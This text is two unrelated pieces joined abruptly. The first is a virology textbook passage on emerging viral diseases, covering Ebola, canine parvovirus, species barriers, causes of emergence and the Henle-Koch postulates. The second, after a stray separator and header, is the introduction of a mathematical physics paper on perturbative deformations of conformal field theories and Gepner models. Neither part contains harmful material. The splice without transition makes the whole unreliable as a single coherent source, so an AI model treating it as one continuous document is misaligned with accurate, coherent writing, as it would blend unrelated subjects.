Beginning in the fall of 2014, it was recognized that the pandemic was a global threat. In response, a number of countries and international organizations provided resources to Africa, including building facilities, sending equipment, and recruiting personnel to work in the pandemic areas. A major effort was made to get the local population to temporarily change some of their normal social responses to illness and death, to reduce the spread within the population. Combined with the efforts of the affected countries, these initiatives started to take hold about January, 2015. However, as of March, 2015, the epidemic was not yet terminated. In retrospect, the international community has acknowledged that it lacks a contingency plan to respond to global outbreaks wherever they may occur. Futhermore, because Ebola was a "neglected" disease, the tools to combat it had not been developed. The Ebola pandemic has spurred crash programs to develop a rapid diagnostic test, drugs and antibodies for treatment, and a vaccine for prevention (Product, 2015; Mire et al., 2015).
**Canine parvovirus.** CPV is another example of a disease that emerged due to the appearance of a virus new to its host species. In the late 1970s, a highly lethal pandemic disease appeared in the dog populations of the world. The etiologic agent was a parvovirus previously unknown in canines. The sequence of CPV is almost identical to that of feline panleukopenia virus (FPV), an established parvovirus of cats, which causes acutely fatal disease in kittens. CPV has a few point mutations that distinguish it from FPV, and these mutations permit CPV to bind to and infect canine cells, a property not possessed by FPV. It is presumed that these mutations permitted the emergence of a new virus disease of dogs.
2.4. The Species Barrier and Host Defenses {#s0055}
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Many mammalian viruses have evolved with their hosts so that different members of a virus family are associated with each host species. Furthermore, under natural circumstances, each member of the virus family usually "respects" the species barrier and does not cross into other species, although it spreads readily between individual animals within its host species. Diverse mechanisms contribute to the species barrier, including host defenses and viral genes. For a zoonotic virus to establish itself in humans or another new species, it is probable that mutations are needed for full adaptation. This requirement is likely part of the explanation for the rarity of such events.
One of the best-studied examples is the transmission of SIVcpz, a virus of chimpanzees, to HIV, a human virus. Several recent studies have shown that APOBEC3 and tetherin are two very important gate keepers for transmission of lentiviruses between different primate species (reviewed in Sharp and Hahn, 2011). APOBEC3 proteins represent a powerful first line of defense, believed to be responsible for preventing the transmission of SIVs from monkeys to chimpanzees and from monkeys to humans (Etienne et al., 2013). However, APOBEC3 proteins can be counteracted by the HIV/SIV viral infectivity factor (Vif), albeit generally in a species-specific fashion. Thus, mutations in Vif were required for monkey SIVs to be able to infect chimpanzees and then humans (Letko et al., 2013). Tetherin is a second line of defense, and only HIVs that have evolved an effective tetherin antagonism have spread widely in humans (Kluge et al., 2014). Different lentiviruses use different viral proteins to antagonize tetherin: HIV-1 group M uses the viral protein U (Vpu); HIV-2 group A uses the envelope glycoprotein (Env), and HIV-1 group O uses the negative regulatory factor (Nef). In contrast, HIV-1 groups N and P, whose spread in the human population has remained very limited, are unable to counteract tetherin efficiently.
Turning to another virus, recent studies using a mouse-adapted strain of Ebola virus to infect a panel of inbred mice provided by the Collaborative Cross (see Chapter 10, Animal models) found striking variation in the response to Ebola virus infection, from complete resistance to severe hemorrhagic fever with 100% mortality. This underlines the role of host genetic background as a determinant of susceptibility. Consistent with this are comments of clinicians that there are unpredictable differences in the outcome of individual Ebola cases. These studies suggest a dynamic relationship between host and pathogen that may determine when a virus can cross the species barrier and create a new virus disease of humankind.
3. Why Viral Diseases Are Emerging at an Increasing Frequency {#s0060}
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Although difficult to document in a rigorous manner, it does appear that new virus diseases of humans (and perhaps of other species) are emerging at an increased tempo. There are a number of reasons for this trend ([Table 1](#t0010){ref-type="table"}).
3.1. Human Ecology {#s0065}
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The human population is growing inexorably, and is becoming urbanized even faster. As a result, there are an increasing number of large-crowded cities, which provide an optimal setting for the rapid spread of any newly emergent infectious agent.
In the nineteenth century, it was noteworthy that someone could circumnavigate the globe in 80 days, but now it can be done in less than 80 h. However, the incubation period of viral infections (several days to several months) has stayed constant. Someone can be infected in one location and---within a single incubation period---arrive at any other site on earth. This enhances the opportunity for a new human virus to spread as a global infection before it has even been recognized, markedly increasing the opportunity for the emergence of a new disease. The same dynamics also apply to viral diseases of animals and plants, which has important economic and social consequences for humankind. The SARS pandemic of 2002--2003, described above, is an example of how rapidly and widely a new virus disease can emerge and spread globally. In this instance, it is extraordinary that the disease was brought under control---and eradicated from the human population---by the simple methods of isolation, quarantine, and respiratory precautions. Although conceptually simple, a heroic effort was required for success. Another example is the 2009 emergence of a novel H1N1 strain of influenza A virus that spread rapidly around the world before a vaccine could be produced.
Remote areas of the world are now being colonized at a high frequency, driven by population pressures and economic motives, such as the reclamation of land for agriculture or other uses, and the harvest of valuable trees and exotic animals. The construction of new dams, roads, and other alterations of the natural environment create new ecological niches. It is possible that this is the origin of urban yellow fever. Yellow fever virus is an arbovirus maintained in a monkey--mosquito cycle in the jungles of South America and Africa. Humans who entered jungle areas became infected. When they returned to villages or urban centers, an urban cycle was initiated, where *Aedes aegypti* mosquitoes---that are well adapted to the urban environment and preferentially feed on humans---maintained the virus.
In the last 25 years, agriculture has undergone a dramatic evolution with the development of "agribusiness." Food and food animals are now raised on an unprecedented scale and under very artificial conditions, where the proximity of many members of a single plant or animal species permits an infection to spread like wildfire. Furthermore, increasing numbers of plants, animals, and food products are rapidly transported over large distances; we enjoy fresh fruits and vegetables at any time, regardless of the season. International shipment of plants and animals can import viruses into new settings where they may lead to the emergence of unforeseen diseases. One example is the 2003 outbreak of monkeypox that caused about 80 human cases in the United States. This was traced to the importation from Africa of Gambian giant rats as exotic pets; several rodent species in west Africa appear to be reservoir hosts of this poxvirus. Monkeypox spread from these animals to pet prairie dogs and from prairie dogs to their owners. Because monkeypox causes infections in humans that resemble mild cases of smallpox, this outbreak was a major cause of public health concern.
3.2. Deliberate Introduction of a Virus New to a Specific Population {#s0070}
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On occasion, a virus has been deliberately introduced into a susceptible population where it caused the emergence of a disease epidemic. For sport, rabbits were imported from Europe into Australia in the mid-nineteenth century. Because of the absence of any natural predator the rabbits multiplied to biblical numbers, and threatened natural grasslands and agricultural crops over extensive areas of southern Australia. To control this problem, myxomatosis virus was deliberately introduced in 1950 (Fenner, 1983). This poxvirus is transmitted mechanically by the bite of insects and is indigenous to wild rabbits in South America, in which it causes nonlethal skin tumors. However, myxomatosis virus causes an acutely lethal infection in European rabbits, and its introduction in Australia resulted in a pandemic in the rabbit population.
Following the introduction of myxomatosis virus in 1950, co-evolution of both virus and host were observed. The introduced strain was highly virulent and caused epizootics with very high mortality. However, with the passage of time field isolates exhibited reduced virulence, and there was a selection for rabbits that were genetically somewhat resistant to the virus. Strains of moderate virulence probably became dominant because strains of lowest virulence were less transmissible and strains of maximum virulence killed rabbits very quickly.
Concern has also been raised about disease emergence due to the deliberate introduction of viruses into either human or animal populations, as acts of bioterrorism.
3.3. Xenotransplantation {#s0075}
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Because of the shortage of human organs for transplantation recipients, there is considerable research on the use of other species---particularly pigs---as organ donors. This has raised the question whether known or unknown latent or persistent viruses in donor organs might be transmitted to transplant recipients. Since transplant recipients are immunosuppressed to reduce graft rejection, they could be particularly susceptible to infection with viruses from the donor species. In the worst scenario, this could enable a foreign virus to cross the species barrier and become established as a new human virus that might spread from the graft recipient to other persons.
4.. How Are Emergent Viruses Identified? {#s0080}
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The impetus to identify a new pathogenic virus usually arises under one of two circumstances. First, a disease outbreak that cannot be attributed to a known pathogen may set off a race to identify a potentially new infectious agent. Identification of the causal agent will aid in the control of the disease and in prevention or preparedness for potential future epidemics. SARS coronavirus, West Nile virus, and Sin Nombre Virus are examples of emergent viruses that were identified in the wake of outbreaks, using both classical and modern methods. Alternatively, an important new virus may be discovered as a serendipitous by-product of research directed to a different goal, as was the case with hepatitis B virus (HBV). In this instance, a search for alloantigens uncovered a new serum protein that turned out to be the surface antigen (HBsAg) of HBV, leading to the discovery of the virus.
When a disease outbreak cannot be attributed to a known pathogen, and where classical virus isolation, propagation, and identification fail, molecular virology is required. Hepatitis C virus (HCV), Sin Nombre and other hantaviruses, certain rotaviruses, and Kaposi's sarcoma herpesvirus (HHV8), are examples of emergent viruses that were first discovered as a result of molecular technologies. Below, we briefly describe some methods of viral detection and identification. More detailed information and technical specifics can be found in several current texts.
4.1. Classic Methods of Virus Discovery {#s0085}
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The first question that confronts the investigator faced with a disease of unknown etiology is whether or not it has an infectious etiology? Evidence that suggests an infectious etiology is an acute onset and short duration, clinical similarity to known infectious diseases, a grouping of similar illnesses in time and place, and a history of transmission between individuals presenting with the same clinical picture. For chronic illnesses, the infectious etiology may be much less apparent and a subject for debate.
Faced with a disease that appears to be infectious, the next question is whether it is caused by a virus. A classical example that predates modern virology is the etiology of yellow fever. In a set of experiments that would now be prohibited as unethical, the Yellow Fever Commission, working with the US soldiers and other volunteers in Cuba in 1900, found that the blood of a patient with acute disease could transmit the infection to another person by intravenous injection. Furthermore, it was shown that the infectious agent could pass through a bacteria-retaining filter and therefore could be considered a "filterable virus."
**Virus isolation in cell culture and animals.** The first step in identification of a putative virus is to establish a system in which the agent can be propagated. Before the days of cell culture, experimental animals were used for this purpose. Many viruses could be isolated by intracerebral injection of suckling mice, and some viruses that did not infect mice could be transmitted to other experimental animals. Human polioviruses---because of their cellular receptor requirements---were restricted to old world monkeys and great apes; the virus was first isolated in 1908 by intracerebral injection of monkeys and was maintained by monkey-to-monkey passage until 1949 when it was shown to replicate in primary cultures of human fibroblasts.
The modern era of virology (beginning about 1950) can be dated to the introduction of cultured cells as the standard method for the isolation, propagation, and quantification of viruses. There are now a vast range of cell culture lines that can be used for the isolation of viruses, and currently this is the first recourse in attempting to isolate a suspected novel virus. Some viruses will replicate in a wide variety of cells but others are more fastidious and it can be hard to predict which cells will support their replication.
It is also important to recognize that some viruses will replicate in cell culture without exhibiting a cytopathic effect. An important example is the identification of simian virus 40 (SV40). Poliovirus was usually grown in primary cell cultures obtained from the kidneys of rhesus monkeys, but SV40 had escaped detection because it replicated without causing a cytopathic effect. When poliovirus harvests were tested in similar cultures prepared from African green monkeys, a cytopathic effect (vacuolation) was observed, leading to the discovery of SV40 virus in 1960. Because inactivated poliovirus vaccine produced from 1955 to 1960 had been prepared from virus grown in rhesus monkey cultures, many lots were contaminated with this previously unknown virus, which inadvertently had been administered to humans. Since that time, viral stocks and cell cultures have been screened to exclude SV40 and other potential virus contaminants.
A number of methods are available to detect a noncytopathic virus that is growing in cell culture. These include visualization of the virus by electron microscopy, detection of viral antigens by immunological methods such as immunofluorescence or immunocytochemistry, the agglutination of erythrocytes of various animal species by virus bound on the cell surface (hemagglutination), the production of interferon or viral interference, and the detection of viral nucleic acids.
**Detection of nonreplicating viruses.** During the period from 1950 to 1980, there was a concerted effort to identify the causes of acute infections of infants and children. In seeking the etiology of diarrheal diseases of infants, it was hypothesized that---in addition to bacteria, which accounted for less than half of the cases---one or more viruses might be responsible for some cases of infantile diarrhea. Numerous unsuccessful attempts were made to grow viruses from stools of patients with acute diarrhea. It was conjectured that it might be possible to visualize a putative fastidious virus by electron microscopy of concentrated fecal specimens. When patients' convalescent serum was added to filtered and concentrated stool specimens, aggregates of 70 nm virions were observed in stools from some infants with acute gastroenteritis. The ability of convalescent but not acute illness serum to mediate virion aggregation provided a temporal association of the immune response with an acute diarrheal illness. Within 5 years, rotavirus was recognized as the most common cause of diarrhea in infants and young children worldwide, accounting for approximately one-third of cases of severe diarrhea requiring hospitalization.
Once an emergent virus has been identified, it is necessary to classify it, in order to determine whether it is a known virus, a new member of a recognized virus group, or represents a novel virus taxon. This information provides clues relevant to diagnosis, prognosis, therapy, and prevention.
In 1967, an outbreak of acute hemorrhagic fever occurred in laboratory workers in Marburg, Germany, who were harvesting kidneys from African green monkeys (*Chlorocebus aethiops*, formerly *Cercopithecus aethiops*). In addition, the disease spread to hospital contacts of the index cases, with a total of over 30 cases and 25% mortality. Clinical and epidemiological observations immediately suggested a transmissible agent, but attempts to culture bacteria were unsuccessful. However, the agent was readily passed to guinea pigs which died with an acute illness that resembled hemorrhagic fever. After considerable effort, the agent was adapted to tissue culture and shown to be an RNA virus. When concentrated tissue culture harvests were examined by electron microscopy, it was immediately recognized that this agent differed from known families of RNA viruses, since the virions consisted of very long cylindrical filaments about 70 nm in diameter. This was the discovery of Marburg virus, the first recognized member of the filoviruses, which now include Marburg and Ebola viruses.
4.2. The Henle--Koch Postulates {#s0090}
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Isolation of a virus from patients suffering from an emergent disease provides an association, but not proof of a causal relationship. Formal demonstration that an isolated virus is the causal agent involves several criteria formulated over the past 100 years. These are often called the Henle--Koch postulates, after two nineteenth-century scientists who first attempted to enunciate the rules of evidence. [Sidebar 1](#b0010){ref-type="boxed-text"} summarizes these postulates, which have been modernized in view of current knowledge and experimental methods.Sidebar 1The Henle--Koch postulates (requirements to identify the causal agent of a specific disease)The Henle--Koch postulates were formulated in 1840 by Henle, revised by Koch in 1890, and have undergone periodic updates to incorporate technical advances and the identification of fastidious agents with insidious disease pathogenesis.Many of the following criteria should be met to establish a causal relationship between an infectious agent and a disease syndrome.1.The putative causal agent should be isolated from patients with the disease; or the genome or other evidence of the causal agent should be found in patients' tissues or excreta; and less frequently from appropriate comparison subjects. Temporally, the disease should follow exposure to the putative agent; if incubation periods can be documented they may exhibit a log-normal distribution.2.If an immune response to the putative agent can be measured, this response should correlate in time with the occurrence of the disease. Subjects with evidence of immunity may be less susceptible than naïve individuals.3.Experimental reproduction of the disease should occur in higher incidence in animals or humans appropriately exposed to the putative cause than in those not so exposed. Alternatively, a similar infectious agent may cause an analogous disease in experimental animals.4.Elimination or modification of the putative cause should decrease the incidence of the disease. If immunization or therapy is available, they should decrease or eliminate the disease.5.The data should fit an internally consistent pattern that supports a causal association.
The classic version of the Henle--Koch postulates required that the causal agent be grown in culture. However, as discussed below, a number of viruses that cannot be grown in culture have been convincingly associated with a specific disease. Usually, this requires that many of the following criteria can be met: (1) Viral sequences can be found in the diseased tissue in many patients, and are absent in appropriate control subjects; (2) Comparison of acute and convalescent sera document induction of an immune response specific for the putative causal virus; (3) The disease occurs in persons who lack a preexisting immune response to the putative virus, but not in those who are immune; (4) The implicated virus or a homologous virus causes a similar disease in experimental animals; and (5) Epidemiological patterns of disease and infection are consistent with a causal relationship.
4.3. Methods for Detection of Viruses that Are Difficult to Grow in Cell Culture {#s0095}
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Some very important human diseases---such as hepatitis B and hepatitis C---are caused by viruses that cannot readily be grown in cell culture. Experiences with these viruses have given credibility to the view that an infectious etiology can be inferred by clinical and epidemiological observations in the absence of a method for growing the causal agent. Also, they have stimulated researchers to devise novel techniques that bypass the requirement for replication in cell culture. Furthermore, the application of molecular biology, beginning about 1970, has led to an array of new methods---such as the polymerase chain reaction (PCR), deep sequencing, and genomic databases---that can be applied to the search for unknown viruses. Several case histories illustrate the inferences that lead to the hypothesis of a viral etiology, the strategy used to identify the putative causal agent, and the methods exploited by ingenious and tenacious researchers.
**Sin Nombre virus.** Hantavirus pulmonary syndrome was described above, as an example of an emerging virus disease. The disease was first reported in mid-May, 1993, and tissues and blood samples from these cases were tested extensively, but no virus was initially isolated in cell culture. However, when sera from recovered cases were tested, they were found to cross-react with a battery of antigens from known hantaviruses, providing the first lead (in June, 1993). DNA primers were then designed, based on conserved hantavirus sequences, and these were used in a PCR applied to DNA transcribed from RNA isolated from tissues of fatal cases. Sequence of the resulting amplicon suggested that it was a fragment of a putative new hantavirus (July, 1993), yielding a presumptive identification of the emerging virus within 2 months after the report of the outbreak. An intense effort by three research teams led to the successful isolation of several strains of SNV by November, 1993. SNV is a fastidious virus that replicates in Vero E6 cells but not in many other cell lines.
**Kaposi's sarcoma herpesvirus (HHV8).** KS was described over 100 years ago as a relatively uncommon sarcoma of the skin in older men in eastern Europe and the Mediterranean region. In the 1980s, KS emerged at much higher frequency, as one of the diseases associated with AIDS. Furthermore, KS exhibited an enigmatic epidemiological pattern, since its incidence in gay men was more than 10-fold greater than in other AIDS patients, such as injecting drug users and blood recipients. These observations led to the hypothesis that KS was caused by a previously undetected infectious agent that was more prevalent among gay men than among other HIV risk groups. However, researchers were unable to isolate a virus from KS tissues.
Searching for footprints of such a putative agent, Chang and colleagues used the method of representational difference analysis to identify DNA sequences specific for KS tumor tissue. Several DNA fragments were identified, and found to be homologous with sequences in known human and primate herpesviruses. In turn, these sequences were used to design primers to obtain the complete genome of a previously undescribed herpesvirus, since named HHV8, human herpesvirus 8. To this date, HHV8 defies cultivation in tissue culture.
4.4. Computer Modeling of Emerging Infections {#s0100}
---------------------------------------------
Is computer modeling a useful adjunct to the analysis or control of emerging viral diseases? The 2014--15 Ebola pandemic in West Africa offers an interesting case study. As the epidemic unfolded, several groups attempted to project how it would evolve (Meltzer et al., 2014; Butler, 2014). These projections had very wide confidence limits, and several of them had upper limits in the range of 100,000 or more cases. What the modelers could not foretell was that the infection did not spread across sub-Saharan Africa, and that several introductions (into countries such as Nigeria and Mali) were controlled by case isolation, contact tracing, and quarantine. However, modeling did contribute useful insights. Dobson (2014) suggested that rapid quarantine (within 5--7 days) of contacts of Ebola patients could be critical in epidemic control.
5. Reprise {#s0105}
==========
One of the most exciting current issues in virology is the emergence of new viral diseases of humans, animals, and plants. Even though the era of modern virology has been well established for more than 65 years, virus diseases continue to appear or reemerge. The Ebola pandemic of 2014--15 highlights the associated dangers and obstacles to control.
There are several explanations for emergence: (1) discovery of the cause of a recognized disease; (2) increase in disease due to changes in host susceptibility or in virus virulence; (3) reintroduction of a virus that has disappeared from a specific population; (4) crossing the barrier into a new species previously uninfected. Many zoonotic viruses that are maintained in a nonhuman species can infect humans, but most cause dead-end infections that are not transmitted between humans. A few zoonotic viruses can be transmitted between humans but most fade out after a few person-to-person transmissions. Rarely, as in the case of HIV, SARS coronavirus, and Ebola filovirus, a zoonotic virus becomes established in humans, causing a disease that is truly new to the human species.
There are many reasons for the apparent increase in the frequency of emergence of new virus diseases, most of which can be traced to human intervention in global ecosystems. Emergent viruses are identified using both classical methods of virology and newer genome-based technologies. Once a candidate virus has been identified, a causal relationship to a disease requires several lines of evidence that have been encoded in the Henle--Koch postulates, guidelines that are periodically updated as the science of virology evolves. Identifying, analyzing, and controlling emerging viruses involve many aspects of virological science. Virus--host interactions play a key role, to explain persistence in zoonotic reservoirs, transmission across the species barrier, and establishment in human hosts. Thus, the issues discussed in many other chapters contribute to our understanding of emerging viral diseases.
[^1]: Ebola in West Africa involved unlimited human-to-human transmission for over one year (see following).
[^2]: After Kobasa D, Takada A, Shinya K, et al. Enhanced Virulence of Influenza a Viruses with the Haemagglutinin of the 1918 Pandemic Virus. *Nature*, 2004, 431: 703--707, with Permission
|
---
author:
- Igor Kriz
title: Perturbative deformations of conformal field theories revisited
---
Introduction
============
Recently, there has been renewed interest in the mathematics of the moduli space of conformal field theories, in particular in connection with speculations about elliptic cohomology. The purpose of this paper is to investigate this space by perturbative methods from first principles and from a purely “worldsheet” point of view. It is conjectured that at least at generic points, the moduli space of CFT’s is a manifold, and in fact, its tangent space consists of marginal fields, i.e. primary fields of weight $(1,1)$ of the conformal field theory (that is in the bosonic case, in the supersymmetric case there are modifications which we will discuss later). This then means that there should exist an exponential map from the tangent space at a point to the moduli space, i.e. it should be possible to construct a continuous $1$-parameter set of conformal field theories by “turning on” a given marginal field.
There is a more or less canonical mathematical procedure for applying a “$Pexp$” type construction to the field which has been turned on, and obtaining a perturbative expansion in the deformation parameter. This process, however, returns certain cohomological obstructions, similar to Gerstenhaber’s obstructions to the existence of deformations of associative algebras [@gerst]. Physically, these obstructions can be interpreted as changes of dimension of the deforming field, and can occur, in principle, at any order of the perturbative path. The primary obstruction is well known, and was used e.g. by Ginsparg in his work on $c=1$ conformal field theories [@ginsparg]. The obstruction also occured in earlier work, see [@kad; @kadb; @kadw; @wilson; @wilson1; @wilson2; @wegner], from the point of view of continuous lines in the space of critical models. In the models considered, notably the Baxter model [@bax], the Ashkin-Teller model [@ashten] and the Gaussian model [@kohmoto], vanishing of the primary obstruction did correspond to a continuous line of deformations, and it was therefore believed that the primary obstruction tells the whole story. (A similar story also occurs in the case of deformations of boundary sectors, see [@konref1; @konref2; @konref3; @konref4; @konref5; @konref6; @konref7; @kondo].)
In a certain sense, the main point of the present paper is analyzing, or giving examples of, the role of the hihger obstructions. We shall see that these obstructions can be non-zero in cases where the deformation is believed to exist, most notably in the case of deforming the Gepner model of the Fermat quintic along a cc field, cf. [@ag; @ns; @fried; @vw; @w1; @w2; @w3; @39a; @39b; @39c]. Some discussion of marginality of primary field in $N=2$-supersymmetric theories to higher order exists in the literature. Notably, Dixon, [@dixon] verified the vanishing for any $N=(2,2)$-theory, and any linear combination of cc,ac,ca and ac field, of an amplitude integral which physically expresses the change of central charge (a similar calculation is also given in Distler-Greene [@distler]). Earlier work of Zamolodchikov [@za; @zb] showed that the renormalization $\beta$-function vanishes for theories where $c$ does not change during the renormalization process. However, we find that the calculation [@dixon] does not guarantee that the primary field would remain marginal along the perturbative deformation path, due to subtleties involving singularities of the integral. The obstruction we discuss in this paper is an amplitude integral which physically expresses directly the change of dimension of the deforming field, and it turns out this may not vanish. We will return to this discussion in Section \[sexp\] below.
This puzzle of having obstructions where none should appear will not be fully explained in this paper, although a likely interpretation of the result will be discussed. Very likely, our effect does not impact the general question of the existence of the non-linear $\sigma$-model, which is widely believed to exist (e.g. [@ag; @ns; @fried; @vw; @w1; @w2; @w3; @39a; @39b; @39c]), but simply concerns questions of its perturbative construction. One caveat is that the case we investigate here is still not truly physical, since we specialize to the case of $cc$ fields, which are not real. The actual physical deformations of CFT’s should occur along real fields, e.g. a combination of a cc field and its complex-conjugate $aa$ field (we give a discussion of this in case of the free field theory at the end of Section \[sfree\]). The case of the corresponding real field in the Gepner model is much more difficult to analyze, in particular it requires regularization of the deforming parameter, and is not discussed here. Nevertheless, it is still surprising that an obstruction occurs for a single $cc$ field; for example, this does not happen in the case of the (compactified or uncompactified) free field theory.
Since an $n$’th order obstruction indeed means that the marginal field gets deformed into a field of non-zero weight, which changes to the order of the $n$’th power of the deformation parameter, usually [@ginsparg; @kad; @kadb; @kadw; @wilson; @wilson1; @wilson2; @wegner], when obstructions occur, one therefore concludes that the CFT does not possess continuous deformations in the given direction. Other interpretations are possible. One thing to observe is that our conclusion is only valid for [*purely perturbative*]{} theories where we assume that all fields have power series expansion in the deformation parameters with coefficients which are fields in the original theory. This is not the only possible scenario. Therefore, as remarked above, our results merely indicate that in the case when our algebraic obstruction is non-zero, non-perturbative corrections must be made to the theory to maintain the presence of marginal fields along the deformation path.
In fact, evidence in favor of this interpretation exists in the form of the analysis of Nemeschansky and Sen [@ns; @gvz] of higher order corrections to the $\beta$-function of the non-linear $\sigma$-model. Grisaru, Van de Ven and Zanon [@gvz] found that the four-loop contribution to the $\beta$-function of the non-linear $\sigma$ model for Calabi-Yau manifolds is non-zero, and [@ns] found a recipe how to cancel this singularity by deforming the manifold to metric which is non-Ricci flat at higher orders of the deformation parameter. The expansion [@af] used in this analysis is around the $0$ curvature tensor, but assuming for the moment that a similar phenomenon occurs if we expanded around the Fermat quintic vacuum, then there are no fields present in the Gepner model which would correspond perturbatively to these higher order corrections in the direction of non-Ricci flat metric: bosonically, such fields would have to have critical conformal dimension classically, since the $\sigma$-model Lagrangian is classically conformally invariant for non-Ricci flat target Kähler manifolds. However, quantum mechanically, there is a one-loop correction proportional to the Ricci tensor, thus indicating that fields expressing such perturbative deformations would have to be of generalized weight (cf. [@zhang; @zhang1; @huang; @huang1]). Fields of generalized weight, however, are not present in the Gepner model, which is a rational CFT, and more generally are excluded by unitarity (see discussions in Remarks after Theorems \[t1\], \[t2\] in Section \[sexp\] below). Thus, although this argument is not completely mathematical, renormalization analysis seems to confirm our finding that deformations of the Fermat quintic model must in general be non-perturbative. It is also noteworthy that the $\beta$-function is known to vanish to all orders for $K3$-surfaces because of $N=(4,4)$ supersymmetry. Accordingly, we also find that the phenomenon we see for the Fermat quintic is not present in the case of the Fermat quartic (see Section \[sk3\] below). It is also worth noting that other non-perturbative phenomena such as instanton corrections also arise when passing from $K3$-surfaces to Calabi-Yau $3$-folds ([@39a; @39b; @39c]). Finally, one must also remark that the proof of [@ns] of the $\beta$-function cancellation is not mathematically complete because of convergence questions, and thus one still cannot exclude even the scenario that not all non-linear $\sigma$ models would exist as exact CFT’s, thus creating some type of “string landscape” picture also in this context (cf. [@dt]).
In this paper, we shall be mostly interested in the strictly perturbative picture. The main point of this paper is an analysis of the algebraic obstructions in certain canonical cases. We discuss two main kinds of examples, namely the free field theory (both bosonic and $N=1$-supersymmetric), and the Gepner models of the Fermat quintic and quartic, which are exactly solvable $N=2$-supersymmetric conformal field theories conjectured to be the non-linear $\sigma$-models of the Fermat quintic Calabi-Yau $3$-fold and the Fermat quartic $K3$-surface. In the case of the free field theory, what happens is essentially that all non-trivial gravitational deformations of the free field theory are algebraically obstructed. In the case of a free theory compactified on a torus, the only gravitational deformations which are algebraically unobstructed come from linear change of metric on the torus. (We will focus on gravitational deformations; there are other examples, for example the sine-Gordon interaction [@sineg; @cgep], which are not discussed in detail here.)
The Gepner case deserves special attention. From the moduli space of Calabi-Yau $3$-folds, there is supposed to be a $\sigma$-model map into the moduli space of CFT’s. In fact, when we have an exactly solvable Calabi-Yau $\sigma$-model, one gets operators in CFT corresponding to the cohomology groups $H^{11}$ and $H^{21}$, which measure deformations of complex structure and Kähler metric, respectively, and these in turn give rise to [*infinitesimal*]{} deformations. Now the Fermat quintic [$$\label{eintro+}x^5+y^5+z^5+t^5+u^5=0$$]{} in $\C P^4$ has a model conjectured by Gepner [@gepner; @gepner1] which is embedded in the tensor product of $5$ copies of the $N=2$-supersymmetric minimal model of central charge $9/5$. The weight $(1/2,1/2)$ $cc$ and $ac$ fields correspond to the $100$ infinitesimal deformation of complex structure and $1$ infinitesimal deformation of Kähler metric of the quintic [(\[eintro+\])]{}. Despite the numerical matches in dimension, however, it is not quite correct to say that the gravitational deformations, corresponding to the moduli space of Calabi-Yau manifolds, occurs by turning on $cc$ and $ac$ fields. This is because, to preserve unitarity, a physical deformation can only occur when we turn on a real field, and the fields in question are not real. In fact, the complex conjugate of a $cc$ field is an $aa$ field, and the complex conjugate of an $ac$ field is a $ca$ field. The complex conjugate must be added to get a real field, and a physical deformation (we discuss this calculationally in the case of the free field theory in Section \[sfree\]).
In this paper, we do not discuss deformations of the Gepner model by turning on real fields. As shown in the case of the free field theory in Section \[sfree\], such deformations require for example regularization of the deformation parameter, and are much more difficult to calculate. Because of this, we work with only with the case of one $cc$ and one $ac$ field. We will show that at least one $cc$ deformation, whose real version corresponds to the quintics [$$\label{eintro++}x^5+y^5+z^5+t^5+u^5+\lambda x^3y^2=0$$]{} for small (but not infinitesimal) $\lambda$ is algebraically obstructed. (One suspects that similar algebraic obstructions also occur for other fields, but the computation is too difficult at the moment; for the $cc$ field corresponding to $xyztu$, there is some evidence suggesting that the deformation may exponentiate.)
It is an interesting question if non-linear $\sigma$-models of Calabi-Yau $3$-folds must also contain non-perturbative terms. If so, likely, this phenomenon is generic, which could be a reason why mathematicians so far discovered so few of these conformal field theories, despite ample physical evidence of their existence [@ag; @ns; @fried; @vw; @w1; @w2; @w3].
Originally prompted by a question of Igor Frenkel, we also consider the case of the Fermat quartic $K3$ surface $$x^4+y^4+z^4+t^4=0$$ in $\C P^3$. This is done in Section \[sk3\]. It is interesting that the problems of the Fermat quintic do not arise in this case, and all the infinitesimally critical fields exponentiate in the purely perturbative sense. This dovetails with the result of Alvarez-Gaume and Ginsparg [@agg] that the $\beta$-function vanishes to all orders for critical perturbative models with $N=(4,4)$ supersymmetry, and hence from the renormalization point of view, the non-linear $\sigma$ model is conformal for the Ricci flat metric on $K3$-surfaces. There are also certain differences between the ways mathematical considerations of moduli space and mirror symmetry vary in the $K3$ and Calabi-Yau $3$-fold cases, which could be related to the behavior of the non-perturbative effects. This will be discussed in Section \[scd\].
To relate more precisely in what setup these results occur, we need to describe what kind of deformations we are considering. It is well known that one can obtain infinitesimal deformations from primary fields. In the bosonic case, the weight of these fields must be $(1,1)$, in the $N=1$-supersymmetric case in the NS-NS sector the critical weight is $(1/2,1/2)$ and in the $N=2$-supersymmetric case the infinitesimal deformations we consider are along so called ac or cc fields of weight $(1/2,1/2)$. For more specific discussion, see section \[sinf\] below. There may exist infinitesimal deformations which are not related to primary fields (see the remarks at the end of Section \[sexp\]). However, they are excluded under a certain continuity assumption which we also state in section \[sinf\].
Therefore, the approach we follow is exponentiating infinitesimal deformations along primary fields of appropriate weights. In the “algebraic” approach, we assume that both the primary field and amplitudes can be updated at all points of the deformation parameter. Additionally, we assume one can obtain a perturbative power series expansion in the deformation parameter, and we do not allow counterterms of generalized weight or non-perturbative corrections. We describe a cohomological obstruction theory similar to Gerstenhaber’s theory [@gerst] for associative algebras, which in principle controls the coefficients at individual powers of the deformation parameter. Obstructions can be written down explicitly under certain conditions. This is done in section \[sexp\]. The primary obstruction in fact is the one which occurs for the deformations of the free field theory at gravitational fields of non-zero momentum (“gravitational waves”). In the case of the Gepner model of the Fermat quintic, the primary obstruction vanishes but in the case [(\[eintro++\])]{}, one can show there is an algebraic obstruction of order $5$ (i.e given by a $7$ point function in the Gepner model).
It should be pointed out that even in the “algebraic” case, there are substantial complications we must deal with. The moduli space of CFT’s is not yet well defined. There are different definitions of conformal field theory, for example the Segal approach [@scft; @hk; @hkd] is quite substantially different from the vertex operator approach (see [@huang] and references therein). Since these definitions are not known to be equivalent, and their realizations are supposed to be points of the moduli space, the space itself therefore cannot be defined until a particular definition is selected. Next, it remains to be specified what structure there should be on the moduli space. Presumably, there should at least be a topology, so than we need to ask what is a nearby conformal field theory. That, too, has not been answered.
